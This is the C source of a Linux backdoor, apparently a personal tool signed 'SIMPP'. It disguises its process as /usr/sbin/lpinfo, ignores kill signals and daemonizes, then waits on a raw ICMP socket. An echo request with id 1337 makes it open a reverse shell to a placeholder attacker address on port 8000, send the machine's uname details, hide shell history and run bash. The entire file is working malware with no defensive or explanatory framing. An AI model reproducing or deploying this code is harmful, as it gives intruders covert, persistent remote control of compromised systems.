#include <errno.h>
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <linux/ip.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/icmp.h>
#include <sys/utsname.h>
 
#define HIDDEN    "/usr/sbin/lpinfo"
#define VAR     "HISTFILE=/dev/null"
#define  IP_DST    "IP_ADDRESS"
#define PORT    8000
#define PACKET_LEN  (sizeof(struct icmphdr) + sizeof(struct iphdr))
#define  ICMP_LEN  sizeof(struct icmphdr)
#define  IP_LEN    sizeof(struct iphdr)
 
typedef struct icmphdr icmphdr_t;
typedef struct iphdr iphdr_t;
typedef struct socket_server_s socket_server_t;
typedef struct socket_client_s socket_client_t;
typedef struct packet_s packet_t;
 
struct socket_server_s {
  int socket;
  struct sockaddr_in from;
  socklen_t fromlen;
} ;
 
struct packet_s {
  icmphdr_t *icmp;
  iphdr_t *ip;
  char *pkt;
} ;
 
struct socket_client_s {
  int socket;
  struct sockaddr_in to;
} ;
 
int      configure(char *argv[]);
int      listne_packet(void);
int      init_packet(packet_t **packet);
socket_server_t*  init_server(void);
void      free_packet(packet_t *packet);
void      free_server(socket_server_t *server);
void      start_3vilsh3ll(void);
socket_client_t*  init_client(void);
void      free_client(socket_client_t *client);
int      socket_client_new(socket_client_t *client);
int      socket_client_connect(socket_client_t *client);
int      send_info(int socket);
int      socket_client_connect_dup2(int socket);
 
int main(int argc, char *argv[])
{
  if ( configure(argv) == -1 )
    printf("crach");
 
  return EXIT_SUCCESS;
}
 
int
configure(char *argv[])
{
  pid_t pid;
  int fd = 0;
  int ret1, ret2 = 0;
 
  memset(argv[0], 0, strlen(argv[0]));
  strcpy(argv[0], HIDDEN);
 
  signal(SIGQUIT, SIG_IGN);
  signal(SIGTERM, SIG_IGN);
  signal(SIGINT, SIG_IGN);
  signal(SIGSTOP, SIG_IGN);
 
  fd = open("/dev/null", O_WRONLY);
  if ( fd == -1 )
    return -1;
 
  close(3);
  close(4);
  ret1 = dup2(fd, 3);
  ret2 = dup2(fd, 4);
  close(fd);
  if ( ret1 != -1 && ret2 != -1 )
    return -1;
 
  pid = fork();
  if ( pid == -1 )
    return -1;
  else if ( pid )
    exit(0);
  else {
    if ( listen_packet() == -1 )
      return -1;
  }
 
  return 0;
}
 
int
listen_packet(void)
{
  packet_t *packet = NULL;
  socket_server_t *server = NULL;
  int ret = 0;
 
  if ( init_packet(&packet) == -1 ) {
    free_packet(packet);
    return -1;
  }
  if ( (server = init_server()) == NULL ) {
    free_packet(packet);
    return -1;
  }
 
  server->socket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
  if ( server->socket == -1 ) {
    free_packet(packet);
    free_server(server);
    return -1;
  }
  server->fromlen = sizeof(struct sockaddr_in);
 
  while ( 1 ) {
    ret = recvfrom(server->socket, packet->pkt, PACKET_LEN, 0,
          (struct sockaddr *)&server->from, &server->fromlen);
 
    if ( ret != -1 ) {
      packet->ip = (iphdr_t *) packet->pkt;
      packet->icmp = (icmphdr_t *) (packet->pkt + IP_LEN);
      if ( packet->icmp->code == 0 && packet->icmp->type == 8 && 
packet->icmp->un.echo.id == 1337 )
        start_3vilsh3ll();
 
      memset(packet->ip, 0x0, IP_LEN);
      memset(packet->icmp, 0x0, ICMP_LEN);
    }
  }
 
  free_packet(packet);
  free_server(server);
  return 0;
}
 
int
init_packet(packet_t **packet)
{
  *packet = NULL;
 
  *packet = malloc(sizeof(packet_t));
  if ( *packet == NULL )
    return -1;
 
  (*packet)->pkt = NULL;
  (*packet)->ip = NULL;
  (*packet)->icmp = NULL;
 
  (*packet)->pkt = malloc(PACKET_LEN);
  if ( (*packet)->pkt == NULL )
    return -1;
  memset((*packet)->pkt, 0x0, PACKET_LEN);
 
  return 0;
}
 
socket_server_t*
init_server(void)
{
  socket_server_t *server = NULL;
 
  server = malloc(sizeof(socket_server_t));
  if ( server != NULL )
    server->socket = -1;
 
  return server;
}
 
void
free_packet(packet_t *packet)
{
  if ( packet != NULL ) {
    if ( packet->pkt != NULL ) {
      free(packet->pkt);
      packet->pkt = NULL;
    }
    free(packet);
    packet = NULL;
  }
}
 
void
free_server(socket_server_t *server)
{
  if ( server != NULL ) {
    if ( server->socket != -1 )
      close(server->socket);
    free(server);
    server = NULL;
  }
}
 
void
start_3vilsh3ll(void)
{
  socket_client_t *client = NULL;
 
  if ( (client = init_client()) == NULL )
    return;
 
  if ( socket_client_new(client) == -1 ) {
    free_client(client);
    return;
  }
 
  if ( socket_client_connect(client) == -1 ) {
    free_client(client);
    return;
  }
 
  if ( send_info(client->socket) == -1 ) {
    free_client(client);
    return;
  }
 
  if ( socket_client_connect_dup2(client->socket) == -1 ) {
    free_client(client);
    return;
  }
 
  if ( putenv(VAR) == -1 ) {
    free_client(client);
    return;
  }
 
  system("/bin/bash");
  free_client(client);
}
 
socket_client_t*
init_client(void)
{
  socket_client_t *client = NULL;
 
  client = malloc(sizeof(socket_client_t));
  if ( client != NULL )
    client->socket = -1;
 
  return client;
}
 
void
free_client(socket_client_t *client)
{
  if ( client != NULL ) {
    if ( client->socket != -1 )
      close(client->socket);
    free(client);
    client = NULL;
  }
}
 
int
socket_client_new(socket_client_t *client)
{
  client->socket = socket(AF_INET, SOCK_STREAM, 0);
  if ( client->socket == -1 )
    return -1;
 
  client->to.sin_family = AF_INET;
  client->to.sin_port = htons(PORT);
  client->to.sin_addr.s_addr = inet_addr(IP_DST);
 
  return 0;
}
 
int
socket_client_connect(socket_client_t *client)
{
  int ret;
 
  ret = connect(client->socket, (struct sockaddr *)&client->to, 
sizeof(client->to));
  if ( ret == -1 )
    return -1;
 
  return 0;
}
 
int
send_info(int socket)
{
  struct utsname *name = NULL;
  int ret;
  char info[450];
 
  name = malloc(sizeof(struct utsname));
  if ( name == NULL ) {
    free(name);
    return -1;
  }
 
  ret = uname(name);
  if ( ret == -1 ) {
    free(name);
    return -1;
  }
 
  snprintf(info, sizeof(info),"\n\t - BY SIMPP BACKDOORED SYSTEM INFO 
-\n\nNoyau :\r\t\t\t%s\nSystem's name :\r\t\t\t%s\nVersion 
:\r\t\t\t%s\nProcess :\r\t\t\t%s\nName host:\r\t\t\t%s\ncmd->\n",
    name->release, name->sysname, name->version, name->machine, 
name->nodename);
 
  if ( send(socket, info, strlen(info), 0) == -1 ) {
    free(name);
    return -1;
  }
 
  free(name);
  return 0;
}
 
int
socket_client_connect_dup2(int socket)
{
  int ret1, ret2;
 
  close(0);
  close(1);
  ret1 = dup2(socket, 0);
  ret2 = dup2(socket, 1);
 
  if ( ret1 == -1 || ret2 == -1 )
    return -1;
 
  return 0;
}